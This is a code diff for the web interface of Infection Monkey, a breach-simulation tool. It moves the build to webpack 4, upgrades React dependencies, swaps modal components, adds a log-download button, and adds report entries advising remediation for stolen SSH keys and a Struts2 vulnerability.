filename: 'app.js',
publicPath: defaultSettings.publicPath
},
devServer: {
contentBase: './src/',
historyApiFallback: true,
hot: true,
port: defaultSettings.port,
publicPath: defaultSettings.publicPath,
noInfo: false
},
resolve: {
extensions: ['', '.js', '.jsx'],
alias: {
actions: `${defaultSettings.srcPath}/actions/`,
components: `${defaultSettings.srcPath}/components/`,
sources: `${defaultSettings.srcPath}/sources/`,
stores: `${defaultSettings.srcPath}/stores/`,
styles: `${defaultSettings.srcPath}/styles/`,
config: `${defaultSettings.srcPath}/config/` + process.env.REACT_WEBPACK_ENV,
'react/lib/ReactMount': 'react-dom/lib/ReactMount'
}
},
module: {}
};

View File

@ -1,68 +0,0 @@
/**
* Function that returns default values.
* Used because Object.assign does a shallow instead of a deep copy.
* Using [].push will add to the base array, so a require will alter
* the base array output.
*/
'use strict';
const path = require('path');
const srcPath = path.join(__dirname, '/../src');
const dfltPort = 8000;
/**
* Get the default modules object for webpack
* @return {Object}
*/
function getDefaultModules() {
return {
preLoaders: [
{
test: /\.(js|jsx)$/,
include: srcPath,
loader: 'eslint-loader'
}
],
loaders: [
{
test: /\.css$/,
loader: 'style-loader!css-loader'
},
{
test: /\.sass/,
loader: 'style-loader!css-loader!sass-loader?outputStyle=expanded&indentedSyntax'
},
{
test: /\.scss/,
loader: 'style-loader!css-loader!sass-loader?outputStyle=expanded'
},
{
test: /\.less/,
loader: 'style-loader!css-loader!less-loader'
},
{
test: /\.styl/,
loader: 'style-loader!css-loader!stylus-loader'
},
{
test: /\.(png|jpg|gif)$/,
loader: 'url-loader?limit=8192'
},
{
test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/,
loader: 'url-loader?limit=10000&mimetype=application/font-woff'
},
{
test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
loader: 'file-loader'
}
]
};
}
module.exports = {
srcPath: srcPath,
publicPath: '/assets/',
port: dfltPort,
getDefaultModules: getDefaultModules
};

View File

@ -1,47 +0,0 @@
'use strict';
let path = require('path');
let webpack = require('webpack');
let baseConfig = require('./base');
let defaultSettings = require('./defaults');
// Add needed plugins here
let BowerWebpackPlugin = require('bower-webpack-plugin');
let config = Object.assign({}, baseConfig, {
entry: [
'webpack-dev-server/client?http://127.0.0.1:' + defaultSettings.port,
'webpack/hot/only-dev-server',
'./src/index'
],
cache: true,
devtool: 'eval-source-map',
plugins: [
new webpack.HotModuleReplacementPlugin(),
new webpack.NoErrorsPlugin(),
new BowerWebpackPlugin({
searchResolveModulesDirectories: false
})
],
module: defaultSettings.getDefaultModules()
});
// Add needed loaders to the defaults here
config.module.loaders.push({
test: /\.(js|jsx)$/,
loader: 'react-hot!babel-loader',
include: [].concat(
config.additionalPaths,
[ path.join(__dirname, '/../src') ]
)
});
// proxy to backend server
config.devServer.proxy = {
'/api': {
target: 'https://localhost:5000',
secure: false
}
};
module.exports = config;

View File

@ -1,42 +0,0 @@
'use strict';
let path = require('path');
let webpack = require('webpack');
let baseConfig = require('./base');
let defaultSettings = require('./defaults');
// Add needed plugins here
let BowerWebpackPlugin = require('bower-webpack-plugin');
let config = Object.assign({}, baseConfig, {
entry: path.join(__dirname, '../src/index'),
cache: false,
devtool: 'sourcemap',
plugins: [
new webpack.optimize.DedupePlugin(),
new webpack.DefinePlugin({
'process.env.NODE_ENV': '"production"'
}),
new BowerWebpackPlugin({
searchResolveModulesDirectories: false
}),
new webpack.optimize.UglifyJsPlugin(),
new webpack.optimize.OccurenceOrderPlugin(),
new webpack.optimize.AggressiveMergingPlugin(),
new webpack.NoErrorsPlugin()
],
module: defaultSettings.getDefaultModules()
});
// Add needed loaders to the defaults here
config.module.loaders.push({
test: /\.(js|jsx)$/,
loader: 'babel',
include: [].concat(
config.additionalPaths,
[ path.join(__dirname, '/../src') ]
)
});
module.exports = config;

View File

@ -1,51 +0,0 @@
'use strict';
let path = require('path');
let srcPath = path.join(__dirname, '/../src/');
let baseConfig = require('./base');
// Add needed plugins here
let BowerWebpackPlugin = require('bower-webpack-plugin');
module.exports = {
devtool: 'eval',
module: {
preLoaders: [
],
loaders: [
{
test: /\.(png|jpg|gif|woff|woff2|css|sass|scss|less|styl)$/,
loader: 'null-loader'
},
{
test: /\.(js|jsx)$/,
loader: 'babel-loader',
include: [].concat(
baseConfig.additionalPaths,
[
path.join(__dirname, '/../src'),
path.join(__dirname, '/../test')
]
)
}
]
},
resolve: {
extensions: [ '', '.js', '.jsx' ],
alias: {
actions: srcPath + 'actions/',
helpers: path.join(__dirname, '/../test/helpers'),
components: srcPath + 'components/',
sources: srcPath + 'sources/',
stores: srcPath + 'stores/',
styles: srcPath + 'styles/',
config: srcPath + 'config/' + process.env.REACT_WEBPACK_ENV
}
},
plugins: [
new BowerWebpackPlugin({
searchResolveModulesDirectories: false
})
]
};

File diff suppressed because it is too large Load Diff

View File

@ -2,11 +2,10 @@
"private": true,
"version": "1.0.0",
"description": "Infection Monkey C&C UI",
"main": "",
"scripts": {
"clean": "rimraf dist/*",
"copy": "copyfiles -f ./src/index.html ./src/favicon.ico ./dist",
"dist": "npm run copy & webpack --env=dist",
"dist": "webpack --mode production",
"lint": "eslint ./src",
"posttest": "npm run lint",
"release:major": "npm version major && npm publish && git push --follow-tags",
@ -14,7 +13,7 @@
"release:patch": "npm version patch && npm publish && git push --follow-tags",
"serve": "node server.js --env=dev",
"serve:dist": "node server.js --env=dist",
"start": "node server.js --env=dev",
"start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000",
"test": "karma start",
"test:watch": "karma start --autoWatch=true --singleRun=false"
},
@ -22,71 +21,75 @@
"keywords": [],
"author": "Guardicore",
"devDependencies": {
"babel-core": "^6.26.0",
"babel-eslint": "^6.0.0",
"babel-loader": "^6.4.1",
"babel-cli": "^6.26.0",
"babel-core": "^6.26.3",
"babel-eslint": "^8.2.6",
"babel-loader": "^7.1.5",
"babel-polyfill": "^6.26.0",
"babel-preset-env": "^1.7.0",
"babel-preset-es2015": "^6.24.1",
"babel-preset-react": "^6.24.1",
"babel-preset-stage-0": "^6.5.0",
"bower-webpack-plugin": "^0.1.9",
"chai": "^3.2.0",
"copyfiles": "^1.0.0",
"css-loader": "^0.23.1",
"eslint": "^3.0.0",
"eslint-loader": "^1.0.0",
"eslint-plugin-react": "^6.0.0",
"file-loader": "^0.9.0",
"chai": "^4.1.2",
"copyfiles": "^2.0.0",
"css-loader": "^1.0.0",
"eslint": "^5.3.0",
"eslint-loader": "^2.1.0",
"eslint-plugin-react": "^7.11.1",
"file-loader": "^1.1.11",
"glob": "^7.0.0",
"karma": "^1.7.1",
"html-loader": "^0.5.5",
"html-webpack-plugin": "^3.2.0",
"karma": "^3.0.0",
"karma-chai": "^0.1.0",
"karma-coverage": "^1.0.0",
"karma-coverage": "^1.1.2",
"karma-mocha": "^1.0.0",
"karma-mocha-reporter": "^2.2.5",
"karma-phantomjs-launcher": "^1.0.0",
"karma-sourcemap-loader": "^0.3.5",
"karma-webpack": "^1.7.0",
"karma-webpack": "^3.0.0",
"minimist": "^1.2.0",
"mocha": "^3.5.3",
"mocha": "^5.2.0",
"null-loader": "^0.1.1",
"open": "0.0.5",
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
"react-hot-loader": "^1.2.9",
"react-hot-loader": "^4.3.4",
"rimraf": "^2.6.2",
"style-loader": "^0.13.2",
"url-loader": "^0.5.9",
"webpack": "^1.15.0",
"webpack-dev-server": "^1.12.0"
"style-loader": "^0.22.1",
"url-loader": "^1.1.0",
"webpack": "^4.16.5",
"webpack-cli": "^3.1.0",
"webpack-dev-server": "^3.1.5"
},
"dependencies": {
"bootstrap": "^3.3.7",
"core-js": "^2.5.5",
"bootstrap": "3.3.7",
"core-js": "^2.5.7",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
"js-file-download": "^0.4.1",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
"moment": "^2.22.1",
"normalize.css": "^4.0.0",
"npm": "^5.8.0",
"prop-types": "^15.6.1",
"moment": "^2.22.2",
"normalize.css": "^8.0.0",
"npm": "^6.3.0",
"prop-types": "^15.6.2",
"rc-progress": "^2.2.5",
"react": "^15.6.2",
"react-bootstrap": "^0.31.5",
"react": "^16.4.2",
"react-bootstrap": "^0.32.1",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
"react-dimensions": "^1.3.0",
"react-dom": "^15.6.2",
"react-fa": "^4.2.0",
"react-graph-vis": "^0.1.4",
"react-json-tree": "^0.10.9",
"react-jsonschema-form": "^0.50.1",
"react-modal-dialog": "^4.0.7",
"react-dom": "^16.4.2",
"react-fa": "^5.0.0",
"react-graph-vis": "^1.0.2",
"react-json-tree": "^0.11.0",
"react-jsonschema-form": "^1.0.4",
"react-redux": "^5.0.7",
"react-router-dom": "^4.2.2",
"react-table": "^6.7.4",
"react-router-dom": "^4.3.1",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",
"redux": "^3.7.2"
"redux": "^4.0.0"
}
}

View File

@ -14,11 +14,11 @@ import LicensePage from 'components/pages/LicensePage';
import AuthComponent from 'components/AuthComponent';
import LoginPageComponent from 'components/pages/LoginPage';
require('normalize.css/normalize.css');
require('react-data-components/css/table-twbs.css');
require('styles/App.css');
require('react-toggle/style.css');
require('react-table/react-table.css');
import 'normalize.css/normalize.css';
import 'react-data-components/css/table-twbs.css';
import 'styles/App.css';
import 'react-toggle/style.css';
import 'react-table/react-table.css';
let logoImage = require('../images/monkey-icon.svg');
let infectionMonkeyImage = require('../images/infection-monkey.svg');

View File

@ -13,6 +13,7 @@ let getGroupsOptions = () => {
image: require('../../images/nodes/' + groupName + '.png')
};
}
return groupOptions;
};

View File

@ -155,6 +155,14 @@ class PreviewPaneComponent extends AuthComponent {
)
}
islandAssetInfo() {
return (
<div>
No info to show
</div>
);
}
assetInfo(asset) {
return (
<div>
@ -244,8 +252,8 @@ class PreviewPaneComponent extends AuthComponent {
info = this.scanInfo(this.props.item);
break;
case 'node':
info = this.props.item.group.includes('monkey', 'manual') ?
this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item);
info = this.props.item.group.includes('monkey', 'manual') ? this.infectedAssetInfo(this.props.item) :
this.props.item.group !== 'island' ? this.assetInfo(this.props.item) : this.islandAssetInfo();
break;
case 'island_edge':
info = this.islandEdgeInfo();

View File

@ -1,10 +1,9 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom';
import {Icon} from 'react-fa';
import PreviewPane from 'components/map/preview-pane/PreviewPane';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {ModalContainer, ModalDialog} from 'react-modal-dialog';
import {options, edgeGroupToColor} from 'components/map/MapOptions';
import AuthComponent from '../AuthComponent';
@ -45,7 +44,7 @@ class MapPageComponent extends AuthComponent {
.then(res => res.json())
.then(res => {
res.edges.forEach(edge => {
edge.color = edgeGroupToColor(edge.group);
edge.color = {'color': edgeGroupToColor(edge.group)};
});
this.setState({graph: res});
this.props.onStatusChange();
@ -98,14 +97,10 @@ class MapPageComponent extends AuthComponent {
};
renderKillDialogModal = () => {
if (!this.state.showKillDialog) {
return <div />
}
return (
<ModalContainer onClose={() => this.setState({showKillDialog: false})}>
<ModalDialog onClose={() => this.setState({showKillDialog: false})}>
<h2>Are you sure you want to kill all monkeys?</h2>
<Modal show={this.state.showKillDialog} onHide={() => this.setState({showKillDialog: false})}>
<Modal.Body>
<h2><div className="text-center">Are you sure you want to kill all monkeys?</div></h2>
<p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
This might take a few moments...
</p>
@ -122,9 +117,10 @@ class MapPageComponent extends AuthComponent {
Cancel
</button>
</div>
</ModalDialog>
</ModalContainer>
</Modal.Body>
</Modal>
)
};
renderTelemetryEntry(telemetry) {

View File

@ -22,7 +22,9 @@ class ReportPageComponent extends AuthComponent {
SAMBACRY: 3,
SHELLSHOCK: 4,
CONFICKER: 5,
AZURE: 6
AZURE: 6,
STOLEN_SSH_KEYS: 7,
STRUTS2: 8
};
Warning =
@ -293,6 +295,8 @@ class ReportPageComponent extends AuthComponent {
return x === true;
}).length} threats</span>:
<ul>
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
<li>Stolen credentials are used to exploit other machines.</li> : null}
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
@ -318,7 +322,10 @@ class ReportPageComponent extends AuthComponent {
<li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null}
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
<li>Struts2 servers are vulnerable to remote code execution. (<a
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
CVE-2017-5638</a>)</li> : null }
</ul>
</div>
:
@ -343,7 +350,7 @@ class ReportPageComponent extends AuthComponent {
<li>Weak segmentation - Machines from different segments are able to
communicate.</li> : null}
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
<li>Weak segmentation - machines were able to communicate over unused ports.</li> : null}
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
</ul>
</div>
:
@ -429,7 +436,7 @@ class ReportPageComponent extends AuthComponent {
<ScannedServers data={this.state.report.glance.scanned}/>
</div>
<div>
<StolenPasswords data={this.state.report.glance.stolen_creds}/>
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
</div>
</div>
);
@ -560,6 +567,22 @@ class ReportPageComponent extends AuthComponent {
);
}
generateSshKeysIssue(issue) {
return (
<li>
Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase.
<CollapsibleWellComponent>
The machine <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span
className="label label-danger">SSH</span> attack.
<br/>
The Monkey authenticated over the SSH protocol with private key <span
className="label label-success">{issue.ssh_key}</span>.
</CollapsibleWellComponent>
</li>
);
}
generateRdpIssue(issue) {
return (
<li>
@ -688,6 +711,24 @@ class ReportPageComponent extends AuthComponent {
);
}
generateStruts2Issue(issue) {
return (
<li>
Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.
<CollapsibleWellComponent>
Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span
className="label label-danger">remote code execution</span> attack.
<br/>
The attack was made possible because the server is using an old version of Jakarta based file upload
Multipart parser. For possible work-arounds and more info read <a
href="https://cwiki.apache.org/confluence/display/WW/S2-045"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateIssue = (issue) => {
@ -708,6 +749,9 @@ class ReportPageComponent extends AuthComponent {
case 'ssh':
data = this.generateSshIssue(issue);
break;
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
case 'rdp':
data = this.generateRdpIssue(issue);
break;
@ -732,6 +776,9 @@ class ReportPageComponent extends AuthComponent {
case 'azure_password':
data = this.generateAzureIssue(issue);
break;
case 'struts2':
data = this.generateStruts2Issue(issue);
break;
}
return data;
};

View File

@ -1,7 +1,6 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {Col, Modal} from 'react-bootstrap';
import {Link} from 'react-router-dom';
import {ModalContainer, ModalDialog} from 'react-modal-dialog';
import AuthComponent from '../AuthComponent';
class StartOverPageComponent extends AuthComponent {
@ -27,14 +26,10 @@ class StartOverPageComponent extends AuthComponent {
};
renderCleanDialogModal = () => {
if (!this.state.showCleanDialog) {
return <div />
}
return (
<ModalContainer onClose={() => this.setState({showCleanDialog: false})}>
<ModalDialog onClose={() => this.setState({showCleanDialog: false})}>
<h2>Reset environment</h2>
<Modal show={this.state.showCleanDialog} onHide={() => this.setState({showCleanDialog: false})}>
<Modal.Body>
<h2><div className="text-center">Reset environment</div></h2>
<p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
Are you sure you want to reset the environment?
</p>
@ -60,9 +55,10 @@ class StartOverPageComponent extends AuthComponent {
Cancel
</button>
</div>
</ModalDialog>
</ModalContainer>
</Modal.Body>
</Modal>
)
};
render() {

View File

@ -1,8 +1,9 @@
import React from 'react';
import {Col} from 'react-bootstrap';
import {Button, Col} from 'react-bootstrap';
import JSONTree from 'react-json-tree'
import {DataTable} from 'react-data-components';
import AuthComponent from '../AuthComponent';
import download from 'downloadjs'
const renderJson = (val) => <JSONTree data={val} level={1} theme="eighties" invertTheme={true} />;
const renderTime = (val) => val.split('.')[0];
@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent {
.then(res => this.setState({data: res.objects}));
};
downloadIslandLog = () => {
this.authFetch('/api/log/island/download')
.then(res => res.json())
.then(res => {
let filename = 'Island_log'
let logContent = (res['log_file']);
download(logContent, filename, 'text/plain');
});
};
render() {
return (
<Col xs={12} lg={8}>
<h1 className="page-title">Log</h1>
<div className="data-table-container">
<DataTable
keys="name"
columns={columns}
initialData={this.state.data}
initialPageLength={20}
initialSortBy={{ prop: 'timestamp', order: 'descending' }}
pageLengthOptions={[ 20, 50, 100 ]}
/>
</div>
</Col>
<div>
<div>
<Col xs={12} lg={8}>
<h1 className="page-title">Log</h1>
<div className="data-table-container">
<DataTable
keys="name"
columns={columns}
initialData={this.state.data}
initialPageLength={20}
initialSortBy={{ prop: 'timestamp', order: 'descending' }}
pageLengthOptions={[ 20, 50, 100 ]}
/>
</div>
</Col>
</div>
<div>
<Col xs={12} lg={8}>
<h1 className="page-title"> Monkey Island Logs </h1>
<div className="text-center" style={{marginBottom: '20px'}}>
<p style={{'marginBottom': '2em', 'fontSize': '1.2em'}}> Download Monkey Island internal log file </p>
<Button bsSize="large" onClick={()=> {
this.downloadIslandLog();
}}>
<i className="glyphicon glyphicon-download"/> Download </Button>
</div>
</Col>
</div>
</div>
);
}
}

View File

@ -8,9 +8,6 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
</head>
<body>
<div id="app">Loading...</div>
<script>__REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__</script>
<script type="text/javascript" src="/assets/app.js"></script>
<div id="app"></div>
</body>
</html>

View File

@ -1,7 +1,7 @@
import StandardConfig from './StandardConfig';
import AwsConfig from './AwsConfig';
const SERVER_CONFIG_JSON = require('json-loader!../../../server_config.json');
const SERVER_CONFIG_JSON = require('../../../server_config.json');
const CONFIG_DICT =
{

View File

@ -406,6 +406,10 @@ body {
padding: 0em;
}
.modal-dialog {
top: 30%;
}
/* Print report styling */
@media print {

View File

@ -1,32 +1,73 @@
'use strict';
const path = require('path');
const args = require('minimist')(process.argv.slice(2));
const HtmlWebPackPlugin = require("html-webpack-plugin");
// List of allowed environments
const allowedEnvs = ['dev', 'dist', 'test'];
// Set the correct environment
let env;
if (args._.length > 0 && args._.indexOf('start') !== -1) {
env = 'test';
} else if (args.env) {
env = args.env;
} else {
env = 'dev';
}
process.env.REACT_WEBPACK_ENV = env;
/**
* Build the webpack configuration
* @param {String} wantedEnv The wanted environment
* @return {Object} Webpack config
*/
function buildConfig(wantedEnv) {
let isValid = wantedEnv && wantedEnv.length > 0 && allowedEnvs.indexOf(wantedEnv) !== -1;
let validEnv = isValid ? wantedEnv : 'dev';
let config = require(path.join(__dirname, 'cfg/' + validEnv));
return config;
}
module.exports = buildConfig(env);
module.exports = {
module: {
rules: [
{
test: /\.js$/,
exclude: /node_modules/,
use: {
loader: "babel-loader"
}
},
{
test: /\.css$/,
use: [
'style-loader',
'css-loader'
]
},
{
test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
use: {
loader: 'file-loader'
}
},
{
test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/,
use: {
loader: 'url-loader?limit=10000&mimetype=application/font-woff'
}
},
{
test: /\.(png|jpg|gif)$/,
use: {
loader: 'url-loader?limit=8192'
}
},
{
test: /\.html$/,
use: [
{
loader: "html-loader"
}
]
}
]
},
plugins: [
new HtmlWebPackPlugin({
template: "./src/index.html",
filename: "./index.html"
})
],
resolve: {
extensions: ['.js', '.jsx', '.css'],
modules: [
'node_modules',
path.resolve(__dirname, 'src/')
]
},
output: {
publicPath: '/'
},
devServer: {
proxy: {
'/api': {
target: 'https://localhost:5000',
secure: false
}
}
}
};

View File

@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com
Priority: optional
Version: 1.0
Description: Guardicore Infection Monkey Island installation package
Depends: openssl, python-pip
Depends: openssl, python-pip, python-dev